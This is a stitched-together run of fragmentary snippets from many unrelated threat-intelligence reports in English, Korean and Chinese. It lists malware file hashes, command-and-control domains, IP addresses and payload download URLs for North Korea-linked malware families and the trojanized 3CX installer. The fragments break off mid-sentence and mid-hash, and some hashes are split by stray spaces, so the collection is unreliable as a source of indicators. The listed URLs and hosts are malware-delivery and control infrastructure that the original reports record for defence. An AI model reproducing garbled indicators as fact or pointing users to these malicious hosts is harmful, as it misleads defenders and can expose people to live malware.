8bfa4fe0534c0062393b6a2597c3491f7df3bf2eabfe06544c53bdf1f38db6d4 15d53bb839e00405a34a8b690ec181f5555fc4f891b8248ae7fa72bad28315a9 f1713afaf5958bdf3e975ebbab8245a98a84e03f8ce52175ef1568de208116e0 Domain: swissborg.blog Fullhouse Backdoor SHA256…","…081804B491C70BFA63ECDBE9FD4618D3570706AD8B71DBA13E234069648E5E48 0B5DB31E47B0DCCFDEC46E74C0E70C6A1684768DBACC9EACBB4FD2EF851994C7 15D53BB839E00405A34A8B690EC181F5555FC4F891B8248AE7FA72BAD28315A9 1617587CCDF5B0344089559ECF8FE7D39F6E07A6A64F74F2B44BFA2C8CB67983 1B75F70C226C9ADA8E79C3FDD987277B0199928800C51E5A1E55FF01246701DB…","…38243.tmp 19 MD5 245d729238809b580179b70b7347cf65 nD9327.tmp 20 MD5 15dc6a28b875b4706bcc0db4a026aeb0 (PebbleDash) 21 MD5 7349683077ce4fcac77580848182ead9 (PebbleDash) 22 MD5…","…of Compromise (IOCs) Malicious File Hashes: SHA256: 875B0CBAD25E04A255B13F86BA361B58453B6F3C5CC11ACA2DB573C656E64E24 MD5: 15DC6A28B875B4706BCC0DB4A026AEB0 Suspicious Network Indicators: IP Address: 211.239.117.117 → Potential C2 Server Domain: www.addfriend.kr → Suspicious, used for…","…6bf8a19deb443bde013678f3ff83ab9db4ddc47838cd9d00935888e00b30cee6 72a25d959d12e3efe9604aee4b1e7e4db1ef590848d207007419838ddbad5e3f 15eee641978ac318dabc397d9c39fb4cb8e1a854883d8c2401f6f04845a79b4b 3e39fc595db9db1706828b0791161440dc1571eaa07b523df9b721ad65e2369b f928a0887cf3319a74c90c0bdf63b5f79710e9f9e2f769038ec9969fcc8ee329…","…SHA1 1602cc32d56ab7f7d70c508696134875a0a56000 afefb97605354c96d07d6e24a87798dd5891b583 e9519f91c7acfe68e614fc6d3416033334b1b68c c91f346d077efbcf45e53e4876b6b23f1e241db4 2efdf82808cd…","…(2023.11.17.03) 행위 진단 – Malware/MDP.Download.M1900 – Ransom/MDP.Command.M2255 MD5 11ec319e9984a71d80df1302fe77332d 160f7d2307bbc0e8a1b6ac03b8715e4f 26ff72b0b85e764400724e442c164046 31cbc75319ea60f45eb114c2faad21f9 478dcb54e0a610a160a079656b9582de URL…","…Behavior Detection – Malware/MDP.Download.M1900 – Ransom/MDP.Command.M2255 MD5 11ec319e9984a71d80df1302fe77332d 160f7d2307bbc0e8a1b6ac03b8715e4f 26ff72b0b85e764400724e442c164046 31cbc75319ea60f45eb114c2faad21f9 478dcb54e0a610a160a079656b9582de URL…","…0B5DB31E47B0DCCFDEC46E74C0E70C6A1684768DBACC9EACBB4FD2EF851994C7 15D53BB839E00405A34A8B690EC181F5555FC4F891B8248AE7FA72BAD28315A9 1617587CCDF5B0344089559ECF8FE7D39F6E07A6A64F74F2B44BFA2C8CB67983 1B75F70C226C9ADA8E79C3FDD987277B0199928800C51E5A1E55FF01246701DB 2360A69E5FD7217E977123C81D3DBB60BF4763A9DAE6949BC1900234F7762DF1…","…MD5 SHA1 SHA256 Malicious ICO File 1640f48cc05c58f4cc077503a5361cea b1dee3ebcffad01a51ff31ff495fef1d40fdfaa0 d51a790d187439ce030cf763237e992e9196e9aa41797a94956681b6279d1b9a MD5 SHA1 SHA256 Malicious ICO…","…Hash-SHA256 11d0f63c06263f50b972287b4bbd1abe0089bc993f73d75768b6b41e3d6f6d49 Hash-SHA256 16493ecc4c4bc5746acbe96bd8af001f733114070d694db76ea7b5a0de7ad0ab Hash-SHA256 6bf1839a7e72a92a2bb18fbedf1873e4892b00ea4b122e48ae80fac5048db1a7 Hash-SHA256…","…For the latest protection updates, please visit the Symantec Protection Bulletin . Indicators of Compromise SHA-256 164f6a8f7d2035ea47514ea84294348e32c90d817724b80ad9cd3af6f93d83f8 18686d04f22d3b593dd78078c9db0ac70f66c7138789ad38469ec13162b14cef…","…and protections to identify past related activity and prevent future attacks against their systems. Indicator Type Description 166d1a6ddcde4e859a89c2c825cd3c8c953a86bfa92b343de7e5bfbfb5afb8be SHA-256 Trojanized CyberLink installer (LambLoad) 089573b3a1167f387dcdad5e014a5132e998b2c89bff29bcf8b06dd497d4e63d SHA-256 Second-stage…","…injection File deletion Hashes 650b7d25f4ed87490f8467eb48e0443fb244a8c4 65e7d2338735ec04fd9692d020298e5a7953fd8d 166e8c643a4db0df6ffd6e3ab536b3de9edc9fb7 a2e966edee45b30bb6bb5c978e55833eec169098 Domains…","…(GUI) Intel 80386, for MS Windows MD5 86d3c1b354ce696e454c42d8dc6df1b7 SHA1 4d17c0fb13b532ba5a680c1701026d29fb1931e7 SHA256 1678327c5f36074cf5f18d1a92c2d9fea9bfae6c245eaad01640fd75af4d6c11 SHA512…","…matches found. ssdeep Matches No matches found. PE Metadata Compile Date 2018-07-17 00:59:05-04:00 Import Hash 16829b63f8ecedc02fa379016636a7b3 PE Sections MD5 Name Raw Size Entropy 1e0638185a7f70a39e8366d293736868 header 4096 0.696223…","…SHA256 5c206b4dc2d3a25205176da9a1129c9f814c030a7bac245e3aaf7dd5d3ca4fbe Payload SHA256 1690ce43530acf725f33aa30f715855d226d63276557d0e33fbcaf9b5ff9b84c Payload URL wicall.ir/logo.png CnC beacon Mapped to MITRE ATT&CK The findings of this…","…with the same crypto and key. The dropped files after decryption have the following MD5 hashes: ad5485fac7fed74d112799600edb2fbf 16a278d0ec24458c8e47672529835117 Malware 12: DLL Injector MD5: 16a 278d0ec24458c8e47672529835117 SHA1: aa115e6587a535146b7493d6c02896a7d322879e File s ize:…","…攻击样本分析 攻击链一：利用LNK文件下发Chinotto 相关样本信息如下： 文件名 MD5 REPORT.zip 16a34b0e194b3f825a19db5363df4cca 현황조사표.xlsx.lnk 0eb8db3cbde470407f942fd63afe42b8 현황조사표.xlsx 66165dfb784cbcb442e4767f0ca4f469…","…30 파일명 이력서 - 이광희 .hwp 경로 E: \\ Happy \\ Work \\ Source \\ v ersion 12 \\ First-Dragon \\ Sample \\ Release \\ D ogCall.pdb MD5 16a3f7b7191fc3c70b3a9aad7dd44a25 [ 표 13] ‘ 이력서 - 이광희 .hwp ’ 를 통해 설치되는 악성파일 정보 파일명 17 년육군 IT 신기술적용장비군활용검토회 참여 신청서 .hwp 경로…","…to the attached file. MD5 0191d9588af4e78211c55d16726fbc8c 08c98fb0b7e0e1cffe8e8d34e2379fd6 0e7000ecc88de21ba0b8c2e3f4bf19e6 16a8aaaf2e3125668e6bfb1705a065f9 23489a6977c905a88d59998d1e42e8d0 URL…","…b9 d5fe744b9623a0cc7f0ef6464c5530da f6d72abf9ca654a20bbaf23ea1c10a55 fd9099005f133f95a5b699ab30a2f79b 5ed95cde6c29432a4f7dc48602f82734 16a8aaaf2e3125668e6bfb1705a065f9 64d729d0290e2c8ceaa6e38fa68e80e9 443a00feeb3beaea02b2fbcd4302a3c9 e13c3a38ca58fb0fa9da753e857dd3d5 e4813c34fe2327de1a94c51e630213d1…","…(2021.09.16.03) Trojan/Win.HVNC (2021.09.18.01) MD5 00ced88950283d32300eb32a5018dada 088cb0d0628a82e896857de9013075f3 16c0e70e63fcb6e60d6595eacbd8eeba 26eaff22da15256f210762a817e6dec9 4301a75d1fcd9752bd3006e6520f7e73 URL…","…b4a8ee 062aadf3eb69686f4881860d88ce472e6b1c07e1f586d840dd2ee1f7b76cabe7 c63a415d23fc4ab10ad3acfdd47d42b5c7444604485ab45147277cca82fffb34 16c3a7f143e831dd0481d2d57aae885090e22ec55cc8282009f641755d423fcd de2d458c8e4befcd478a0010789d80997793790b18a347d10a595d6e87d91f34 2f133525f76ab0ebb0b370601673361253074c337f0b0895d0f0cb5bc261cfcb e83a08…","…안티 포렌식 기법 결론 안랩 대응 현황 IoC (Indicators of Compromise) 파일 Hashes (MD5) 관련 도메인, URL 및 IP 주소 MD5 16e7e127eb6fc4611680070d9b56de80 1788a19397e0a7ab99f7445e2f8ecd8e 21bc39f1fa632b5348003d3beec0bc50 22133c0f18e3382b31a81390b3a8ba4c 23357052f05e2060c4109e2d7fe5f00a…","…Brandoor Cases ⚫ e8486a2ddc8e16a64261d48346ef5688 ⚫ e756d0545315a553a45a02e69a1cbe61 ⚫ 16e7e127eb6fc4611680070d9b56de80 ⚫ 7bc4b78001434b68355e9b57a822b9c1 ⚫ c5f9539e0b1c84654e475a08eca772ed ⚫ 312cdb2032a5460f4a05939ea4f35c56 ⚫…","…침해 지표 (Indicator of Compromise) ● MD5 16eb2cceb920319eaddd5d7b85483cc4 61f65bd593ea0e52ac0dfdc6bc9cd73a 87dc4c8f67cffc8a9699328face923e2 95b8ceebbd6e983914a13c1cd774028a 3334d2605c0df26536058f73a43cb074 5613ba2…","…YamaBot f226086b5959eb96bd30dec0ffcbf0f09186cd11721507f416f1c39901addafb Procdump 16F413862EFDA3ABA631D8A7AE2BFFF6D84ACD9F454A7ADAA518C7A8A6F375A5 05732E84DE58A3CC142535431B3AA04EFBE034CC96E837F93C360A6387D8FAAD Mimikatz…","…\"Simple indicator of observable {1031871a8bb920033af87078e4a418ebd30a5d06152cd3c2c257aecdf8203ce6}\", \"x509\": {\"hash\": {\"md5\": [\"16fe5b27828928b3864b11e4630c825b\"], \"sha1\": [\"bdffdab55d7857d08bb77ddeef5628c709481f15\"], \"sha256\": [\"1031871a8bb920033af87078e4a418ebd30a5d06152cd3c2c257aecdf8203ce6\"]}},…","…name instead of naver.com. 084b21bc32ee19af98f85aee8204a148032ce7eabef668481b919195dd62b319 Tags trojan Details Name 170A55F7C0448F1741E60B01DCEC9CFB Size 197632 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 170a55f7c0448f1741e60b01dcec9cfb SHA1…","…mapped x86 shellcode Architecture x86 (32-bit, Intel) Code Segment 0x00000000 – 0x00134A6C (~1.26 MB, r-x) SHA-256 17158cd6490a2b3c672d087f3d69107643d6a6f7c67345461b10ae18f27e28d1 Import Table None – fully self-contained / position-independent Functions ~50+ named subroutines The decrypted…","…IoC (Indicator of Compromise) MD5 8e4a99315a3ef443928ef25d90f84a09 17171c644307b17d231ad404e25f08b1 31662a24560b3fe1f34f0733e65509ff a196fb11a423076f66f5e4b2d02813a9 ad3433f5f64abdec7868a52341f14196 c0cac70c93d213d113001e3410c24fd2 d2…","…displayed in the table. 0a763da26a67cb2b09a3ae6e1ac07828065eb980e452ce7d3354347976038e7e Tags trojan Details Name 171B9135540F89BF727B690B9E587A4E Size 1778176 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 171b9135540f89bf727b690b9e587a4e SHA1…","…- http://old.jrchina.com/btob_asiana/udel_confirm.php \"North Korean Human Rights\" Campaign: Maldoc sha256: 171e26822421f7ed2e34cc092eaeba8a504b5d576c7fd54aa6975c2e2db0f824 Dropper #1: a29b07a6fe5d7ce3147dd7ef1d7d18df16e347f37282c43139d53cce25ae7037 Dropper #2:…","…f1 805949896d8609412732ee7bfb44900a 1bf36342c0506a58369a3b530b7d0bcc 60214745027c7efa7cc920d43d9c254a 9a06ce2b0b038de9147f93bbb3b3c56c 173edf96e60b3fd520801a6c1adee7e0 2a78bf4487915d91855d0c4661d974a0 071107f7bddc8ca6e8a8c3c94931512c 59c328cd766f6ec0c9141bca7da6b807 5bec2687fd743d23331cd54c987b44de…","…of the Lazarus group's operations can be seen here . Indicators of Compromise (IoCs): Hashes detected as BKDR_RATANKBA.ZAEL-A 1768f2e9cea5f8c97007c6f822531c1c9043c151187c54ebfb289980ff63d666 6cac0be2120be7b3592fe4e1f7c86f4abc7b168d058e07dc8975bf1eafd7cb25 d844777dcafcde8622b9472b6cd442c50c3747579868a53a505ef2f5a4f0e26a…","…d018c2 4bce97eff4430708299a1bb4142b9d359d8adf77a2e1673bf76485df25e6d357 878e3701df9b0abdaa7094e22d067c8398a9fc842cabe917fd5f75f2c84d8552 176e8a5a7b6737f8d3464c18a77deef778ec2b9b42b7e7eafc888aeaf2758c2d 48ee5d0d44a015876d867fa515b04c1998fecf19badcbd69f4f3fa8497d57215 a4cab67569d0b35c249dc536fb25dabdc12839ed4e945c59ec826c0a241b792a SHA1…","…포렌식 기법 결론 안랩 대응 현황 IoC (Indicators of Compromise) 파일 Hashes (MD5) 관련 도메인, URL 및 IP 주소 MD5 16e7e127eb6fc4611680070d9b56de80 1788a19397e0a7ab99f7445e2f8ecd8e 21bc39f1fa632b5348003d3beec0bc50 22133c0f18e3382b31a81390b3a8ba4c 23357052f05e2060c4109e2d7fe5f00a AhnLab TIP 를 구독하시면 연관…","…⚫ f165034e338bab6b121f3ba9bc0374c9 ⚫ f1b9c9a6a5adbddb7eaf64786ed61fee ⚫ f215257eface32e03d91acaf44d91d92 ⚫ 1788a19397e0a7ab99f7445e2f8ecd8e ⚫ 3b97c7621969b31b3b4f5975a82e2c00 ⚫ b40722c94cfee7b21f97073304cb2fba ⚫ fe00578715e667c204a66c93c7611559 ⚫…","…fcbe52f671d2f20b292c3057320d89a9 2e068beb40f8901b698d4fc2f5766564c8324d5ba95fb0a0ffa841f5da5c7e72 178b11323f921c0216bedefdd575a9c5a055b9fa 98e94d7be1d59c17f6bcf3ce09661f83 4f544e8756373520e98ed12b921ea7e05a93cf0152405ef3ac65133f7c8660a1…","…Name kupayupdate_stage2 Size 40176 bytes Type Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE> MD5 17ab2927a235a0b98480945285767bcf SHA1 d4b96e9d966b0f1e9ff1ef61a8d09c9020254652 SHA256 91eaf215be336eae983d069de16630cc3580e222c427f785e0da312d0692d0fd SHA512…","…IoC [md5] 17b2412c1c74db7e83482a544fefacdc 1.log 5852e7911d0df2473d6ed34d1ce56ff7 1.ps1 444f67d186136d3deaae17a7f27b879e 1.vbs 4aea7f8a80c27268bd68077621d69b68…","…IoC md5 17b2412c1c74db7e83482a544fefacdc 1.log 5852e7911d0df2473d6ed34d1ce56ff7 1.ps1 444f67d186136d3deaae17a7f27b879e 1.vbs 4aea7f8a80c27268bd68077621d69b68…","…The payloads found in these cases were: ● fde55de117cc611826db0983bc054624 (Active Advanced Backdoor Type B) ● 17bc6f5b672b7e128cd5df51cdf10d37 (Active Advanced Backdoor Type B) Malware 13: Active Backdoors 2 Filename: %name%.chm MD5: ad5485fac7fed74d112799600edb2fbf…","…to software—including Hangul—and operating systems, and keep V3 updated to the latest version to prevent Malware infections. MD5 17d97e3ee3185d82812a4014444c36f3 327617e977eefd15708568f43140e595 3d802ceaf891ea57ecd7d1d786d96a0d 5be7578bfe633fb268ad97a520abb4e1 78c219a6bec5fc30f43b62e4934646eb…","…(1) https://securelist.com/kimsukys-golddragon-cluster-and-its-c2-operations/107258/ MD5 002105e21f1bddf68e59743c440e416a 17daf3ea7b80ee95792d4b3332a3390d 8a5fd1e9c9841ff0253b2a6f1e533d0e b6614471ebf288689d33808c376540e1 URL…","…SHA1 5f549663a4836ee2ea82c79aa786f2541cd8f421 37ff1f0febf3131bd82dcfd30bb83f96b04aed7b 17f9e40a0315699e7b7e69397b661d5af66dd871 4d056026488c0c9a2e15d915fde87dbe202b3126 Remediation Always be suspicious about emails sent by unknown senders. Never click on…","…fb 5be0527f5c84208371761cee852f0d7c f51a2ccb4b9b2bf163c81b525bfac08e 10ce9409d8d1e72ea6439bec7cd7e4cd a87659641e00d724de5662b14fe142e8 1808bd4919c5943096a4a19784d6b8de C&C…","…침해 지표 (Indicator of Compromise) MD5 7449b3528dffeb2babfc113308e47bb7 1827287811ef97153d0ea850673ecec1 a7f908d3f49b4f53e7f658071aff5410 b9d52717f3f9e32258bd2e8260d27ef1 b9ef6b03d44891ec8766643514fe3294…","…FAT swift fd1cef5abe3e0c275671916a1f3a566f13489416 x86 objc Stage 3 Version A Mach-Os SHA1 Arch Lang 182760cbe11fa0316abfb8b7b00b63f83159f5aa FAT rust 3cc19cef767dee93588525c74fe9c1f1bf6f8007 ARM rust 831dc7bc4a234907d94a889bcb60b7bedf1a1e13 x86 rust…","…\"file\": {\"hash\": {\"md5\": [\"f90b544f89cfbe38aee18024d7c39e40\"], \"sha1\": [\"182760cbe11fa0316abfb8b7b00b63f83159f5aa\"], \"sha256\": [\"9ca914b1cfa8c0ba021b9e00bda71f36cad132f27cf16bda6d937badee66c747\"]}}, \"marking\": {\"tlp\": \"clear\"}, \"provider\": \"Elastic…","…MD5 1177fecd07e3ad608c745c81225e4544 14caab369a364f4dd5f58a7bbca34da6 184a4f3f00ca40d10790270a20019bb4 30bcac6815ba2375bef3daf22ff28698 46cd19c3dac997bfa1a90028a28b5045 URL…","…619cc5 ff44d3dabb82467cd21187039789314bfd70c15777fcdc93ada11059ed4c289b 07df3733b75e6e23d2217a6548ed66654793b20a0674b22187e558c3284c0055 184fba6160521bd8c345d327e42ad2804dca419edec5657a859be78b82c1d98b 2772bbe0d1e643d0dbf860ee7fc2b24756d1287845ec5d31ef473850da8d6cc6 3c64d557fb5d83b6df1d2963f4b3f9a3aec869c50e559d420413afcf7362120d 3debe7…","…분석 보고서 [12] [ASEC Blog] Kimsuky 그룹의 APT 공격 분석 보고서 (AppleSeed, PebbleDash) [13] [AhnLab TIP] 미미카츠를 이용한 내부망 전파 기법 분석 보고서 MD5 185bc3037314ec2dbd6591ad72cf08b4 81ee91290a78d2d38b47a7ae25ec717f b500a8ffd4907a1dfda985683f1de1df URL http://80.66.76.22/servicem.exe AhnLab TIP 를…","…The first variant is not obfuscated. Filename e190413af045db88dfbd29609eb877 Size 165376 bytes MD5 18644822140eda7493bd75ba1e1f235d SHA1 b801643e2d817931e6aa36e6bf24d1c42e9b8fdc SHA256 fe948451df90df80c8028b969bf89ecbf501401e7879805667c134080976ce2e Its…","…Bulletin . Indicators of Compromise SHA-256 164f6a8f7d2035ea47514ea84294348e32c90d817724b80ad9cd3af6f93d83f8 18686d04f22d3b593dd78078c9db0ac70f66c7138789ad38469ec13162b14cef 1cb8ea3e959dee988272904dbb134dad93539f2c07f08e1d6e10e75a019b9976…","…sofa.rs kingsvc.cc mbrainingevents.com afuocolento.it Hash: 8451be72b75a38516e7ba7972729909e fe2d05365f059d48fd972c79afeee682 186aa05bfe4739274c3c258be4a5a160 IP: 185.62.56.131 Indicators of Attack (IoAs): Execution: T1047: Windows Management Instrumentation Execution: T1106: Execution…","…s.lgiil72vkmdtbc3qv4tyq6wedyjxqr2qd4ze7xl2cxgerdnymxj7soqd.onion MD5 === 136e0bf4e5fe4d4249fe9570153a0b97 b54edbcec7664fde548a7ba1fa8b3b78 186c77101c027a465b14cb4a74f8381e 182024fc6c5fe0b1b33fdd9c7c37e368 9a7c0adedc4c68760e49274700218507…","…http://iosk.org/pms/mad.bat – http://iosk.org/pms/jin.zip – http://iosk.org/pms/jin-6.zip MD5 131fc4375971af391b459de33f81c253 1875f6a68f70bee316c8a6eda9ebf8de 47791bf9e017e3001ddc68a7351ca2d6 7a19c59c4373cadb4556f7e30ddd91ac 7ef97450e84211f9f35d45e1e6ae1481 URL…","…SHA1 0d17d477207d717f4e1be67e96c925aae473109d 1876e829b675e86e950f2e701ab9b2c4a56b4817 8edcd1d8d390d61587d334f4527e569a5bdf915c 57d60872a6239449116c9c609838906cec923ef5 2a900fbfdd65dafe6fadc4d5706e151c8b72230a…","…(GUI) Intel 80386, for MS Windows MD5 22f8d2a0c8d9b54a553fca1b2393b266 SHA1 08bacda419c5c663bd16374ee690e8822af74af0 SHA256 1884ddc53ef66488ca8fc641b438895fcaada77c15210118465377c63223b3bc SHA512…","…b86c695822013483fa4e2dfdf712c5ee777d7b99cbad8c2fa2274b133481eadb 27b134af30f4a86f177db2f2555fe01d 188754814b37927badc988b45b7c7f7d6b4c8dd3 c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02 5729fb29e3a7a90d2528e3357bd15a4b…","…staging archive (SANS ISC 32942; link to Binance unconfirmed) File indicators: SHA-256 SHA-1 MD5 Description 188bd4fc222c9615540884920caf37ea88bcbea7488e1fb98709e357dd096666 8473f85bda00dfa3ecd2385dd38f69600d1d64a6 9d78ece09457907b730d139e4e0c64dd terraform-provider-awsbeta_v1.0.0 , trojanized provider,…","…HTA sha256: a585849d02c94e93022c5257b162f74c0cdf6144ad82dd7cf7ac700cbfedd84f JS sha256: 1893af524edea4541c317df288adbf17ae4fcc3a30d403331eae541281c71a3c PoohMilk sha256: 35273d6c25665a19ac14d469e1436223202be655ee19b5b247cb1afef626c9f2 Freenki sha256:…","…Size 724480 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 18cfd7e01da5d30a27a885164d5a7b9b SHA1 40c5103cd9681a2830667957f3e3d037fd25b6c9 SHA256 d40ad4cd39350d718e189adf45703eb3a3935a7cf8062c20c663bc14d28f78c9 SHA512…","…Hash-SHA256 149601e15002f78866ab73033eb8577f11bd489a4cea87b10c52a70fdf78d9ff Hash-SHA256 190d9c3e071a38cb26211bfffeb6c4bb88bd74c6bf99db9bb1f084c6a7e1df4e Hash-SHA256 24d004a104d4d54034dbcffc2a4b19a11f39008a575aa614ea04703480b1022c Hash-SHA256…","…Veiledsignal contains another DLL (SHA256: 19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae), which is a process-injection module.…","…MD5 0775d753aeaebc1cff491e42c8950ec0 0ac90c7ad1be57f705e3c42380cbcccd 0f994f841c54702de0277f19b1ac8c77 196fe14b4ec963ba98bbaf4a23a47aef 1e7d604fadd7d481dfadb66b9313865d URL…","…identifier codes (BIC) to hide in SWIFT transaction statements. Malware 2: SWIFT Alliance Access Protection Mangler MD5: 198760a270a19091582a5bd841fbaec0 Size: 71'680 bytes Discovered path: C: \\ MSO10 \\ MSO.dll Compiled o n: 2016.08.18 22:24:44 (GMT) Linker version: 10.0 Type: PE32…","…SHA1 73417ded382af2e0f3fca04d8d07679af134038b 49f1d203436240933ee20d7b16324c09bcbf4ceb 198ee2c64c7584acb2403c0ce4c152b3e57c4453 Remediation Block all threat indicators at your respective controls. Search for indicators of compromise (IOCs) in your environment…","…Size 2608223 bytes Type PE32+ executable (GUI) x86-64, for MS Windows MD5 07d2b057d2385a4cdf413e8d342305df SHA1 1991e7797b2e97179b7604497f7f6c39eba2229b SHA256 1a01b8a4c505db70f9e199337ce7f497b3dd42f25ad06487e29385580bca3676 SHA512…","…Backdoor/Win.D2Inv.C5572603 (2024.01.12.02) MD5 013c4ee2b32511b11ee9540bb0fdb9d1 035cf750c67de0ab2e6228409ac85ea3 19c2decfa7271fa30e48d4750c1d18c1 27ef6917fe32685fdf9b755eb8e97565 2aaa3f1859102aab35519f0d4c1585dd URL…","…– Backdoor/Win.D2Inv.C5572603 (2024.01.12.02) MD5 013c4ee2b32511b11ee9540bb0fdb9d1 035cf750c67de0ab2e6228409ac85ea3 19c2decfa7271fa30e48d4750c1d18c1 27ef6917fe32685fdf9b755eb8e97565 2aaa3f1859102aab35519f0d4c1585dd URL…","…IoCs File hash Dropper 19c2decfa7271fa30e48d4750c1d18c1 6eebb5ed0d0b5553e40a7b1ad739589709d077aab4cbea1c64713c48ce9c96f9 7b6d02a459fdaa4caa1a5bf741c4bd42 f8ab78e1db3a3cc3793f7680a90dc1d8ce0872…","…27ef6917fe32685fdf9b755eb8e97565 7457dc037c4a5f3713d9243a0dfb1a2c 7b6d02a459fdaa4caa1a5bf741c4bd42 88f183304b99c897aacfa321d58e1840 19c2decfa7271fa30e48d4750c1d18c1 c8e7b0d3b6afa22e801cacaf16b37355 87429e9223d45e0359cd1c41c0301836 C&C…","…Hashes fe32d29fa16b1b71cd27b23a78ee9f6b7791bff3 f684e15dd2e84bac49ea9b89f9b2646dc32a2477 1d280a77595a2d2bbd36b9b5d958f99be20f8e06 19d9573f0b2c2100accd562cc82d57adb12a57ec f90a2155ac492c3c2d5e1d83e384e1a734e59cc0 9b832dda912cce6b23da8abf3881fcf4d2b7ce09 f3b62fea38cb44e15984d941445d24e6b309bc7b 66d2cea01b46…","…of the payload is successful, the final payload is an instance of the RokRAT malware family with the following properties: SHA256 19ee7d139908a889d08508dd4225f2d27958ac2c8b7ff18a97507f7de8ce79bc SHA1 ff080176ab9e51ace68dbe3a56629168b41fa1fc MD5 9d2e5f9274b25740131f3b6139e3c3ce File Type Win64 EXE Compile Time…","…2e f6628bd40f4cd6cc8405541c269ac901 4de19e2c39b1d193e171dc8d804005a4 12539ac37a81cc2e19338a67d237f833 a4d58f1bcce687d4ea60a3fe60120d5e 19ef39e9936b7b46e88d55115dfa9679 6083a1af637d9dd2b2a16538a17e1f45 ca2917006eb29171c9e5f374e789f53a C2…","…c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02 5729fb29e3a7a90d2528e3357bd15a4b 19f4036f5cd91c5fc411afc4359e32f90caddaac 5407cda7d3a75e7b1e030b1f33337a56f293578ffa8b3ae19c671051ed314290 d5101c3b86d973a848ab7ed79cd11e5a…","…MD5 SHA1 SHA256 3CX Windows Installer 5729fb29e3a7a90d2528e3357bd15a4b 19f4036f5cd91c5fc411afc4359e32f90caddaac 5407cda7d3a75e7b1e030b1f33337a56f293578ffa8b3ae19c671051ed314290 MD5 SHA1 SHA256 3CX macOS Installer File…","…(GUI) Intel 80386, for MS Windows MD5 68fa29a40f64c9594cc3dbe8649f9ebc SHA1 b24f6c60fa4ac76ffc11c2fcee961694aeb2141b SHA256 19f9a9f7a0c3e6ca72ea88c655b6500f7da203d46f38076e6e8de0d644a86e35 SHA512…","…596cd0d30fe035e8be1dd9d78c1f71a8fc0e2c653d1318af26c51758339ca6bd SHA1 31acdff6710ff1e5f0b310fc42c2005a972da7b2 MD5 1a00387c696fe3b7ea9602c4cb91f14e ssdeep 6:ufTcpVRMSPP3vXv8Hf7cg/oNtS/fSjAFEDNjL7HTPQXATAkE4JH:ufTIMSn3/vMf72S/asFK37zYQTAN4N File Size 269 B…","…(GUI) x86-64, for MS Windows MD5 07d2b057d2385a4cdf413e8d342305df SHA1 1991e7797b2e97179b7604497f7f6c39eba2229b SHA256 1a01b8a4c505db70f9e199337ce7f497b3dd42f25ad06487e29385580bca3676 SHA512…","…SHA-256: 12480585e08855109c5972e85d99cda7701fe992bc1754f1a0736f1eebcb004d SHA-256: 1a01b8a4c505db70f9e199337ce7f497b3dd42f25ad06487e29385580bca3676 SHA-256: 2151c1977b4555a1761c12f151969f8e853e26c396fa1a7b74ccbaf3a48f4525 SHA-256:…","…13 \\ First-Dragon(VS2015) \\ Sample \\ Release \\ DogCall.pdb Threat Intelligence Report Genians Security Center 31 MD5 1a085ef749e2cb832a1ac2aabcc58aef [ 표 17] ‘ 근 로 계 약 서 .hwp ’ 를 통해 설치되는 악성파일 정보 파일명 7 북한 강제송환 탈북자에 대한 “ 고문 ” 심각 - 1.doc 경로…","…SHA256 : adf86d77eb4064c52a3e4fb3f1c3218ee2b7de2b1780b81c612886d72aa9c923 SHA256 : 1a172d92638e6fdb2858dcca7a78d4b03c424b7f14be75c2fd479f59049bc5f9 SHA256 : ec254c40abff00b104a949f07b7b64235fc395ecb9311eb4020c1c4da0e6b5c4 SHA256 :…","…This brief post documents the capabilities of this second tool. MD5: b9ad0cc2a2e0f513ce716cdf037da907 SHA1: 1a50a7ea5ca105df504c33af1c0329d36f03715b SAH256: db0f102af2d350aa1a63772e6ee9b211d78aa962a34f75c8702e71ccd261243e Parameter Check The malware expects at least one parameter:…","…침해 지표 (Indicator of Compromise) ● MD5 1a70a013a56673f25738cf145928d0f5 1c3bb05a03834f56b0285788d988aae4 1d736803cb8fbb910dc0150087530de7 1fcfea1ed7f0da272d37eff49371fcf0 2c24f8fa2654aa2675566f7d6b0f5b12 5b…","…seeing more and more often. IOCs C2 domains pinkgoat.com purewatertokyo.com purplebear.com salmonrabbit.com MD5 1A74C8D8B74CA2411C1D3D22373A6769 67F4DAD1A94ED8A47283C2C0C05A7594 Malware Descriptions Lazarus Backdoor Trojan APT Malware…","…실행하도록 해야 한다. 현재 안랩 V3 제품은 해당 파일들에 대해 다음과 같이 진단하고 있다. [파일 진단] Downloader/XSL.Kimsuky Backdoor/Win.AppleSeed.R504704 MD5 1ac5b803205b1c3464941df2c21958e7 a3786f14c85842861aa3493ec30be949 URL http://hime.dothome.co.kr/exchange/ http://sign.dothome.co.kr/login/ AhnLab TIP…","…MoonPeak v2 148c69a7a1e06dc06e52db5c3f5895de6adc3d79498bc3ccc2cbd8fdf28b2070 1ad43ddfce147c1ec71b37011d522c11999a974811fead11fee6761ceb920b10 458641936e2b41c425161a9b892d2aa08d1de2bc0db446f214b5f87a6a506432 8a4fbcdec5c08e6324e3142f8b8c41da5b8e714b9398c425c47189f17a51d07b…","…실행하지 않도록 주의가 필요하다. 현재 안랩 V3 제품은 해당 파일에 대해 다음과 같이 진단하고 있다. [파일 진단] Dropper/JS.Generic Backdoor/Win.AppleSeed.R499775 MD5 1ae2e46aac55e7f92c72b56b387bc945 67e7e8600a57e9430a43bf8c5f98c6bd 7d445b39a090b486aaa002b282b4d8cb ec9dcef04c5c89d6107d23b0668cc1c1 URL…","…f0 f14f332d4273de04ba77e38fd3dcff90 f960ce07c519d1e64a46c7f573eac39b fb3c652e795f08cc2529ed33ec1dc114 fe8626e7c3f47a048c9f6c13c88a9463 1ae2e46aac55e7f92c72b56b387bc945 2a388f3428a6d44a66f5cb0b210379a0 C2…","…그룹의 APT 공격 분석 보고서 (AppleSeed, PebbleDash) [11] [AhnLab TIP] 취약한 클라우드 환경을 타겟으로 한 코인마이너 설치 (WatchDog 그룹) 악성코드 분석 보고서 MD5 1aeb95215a633400d90ad8cbca9bc300 fe1bb6811f5c808414c4a357031c2718 URL…","…T1041 Exfiltration Over C2 Channel Impact T1529 System Shutdown/Reboot IOCs: MD5 File Name 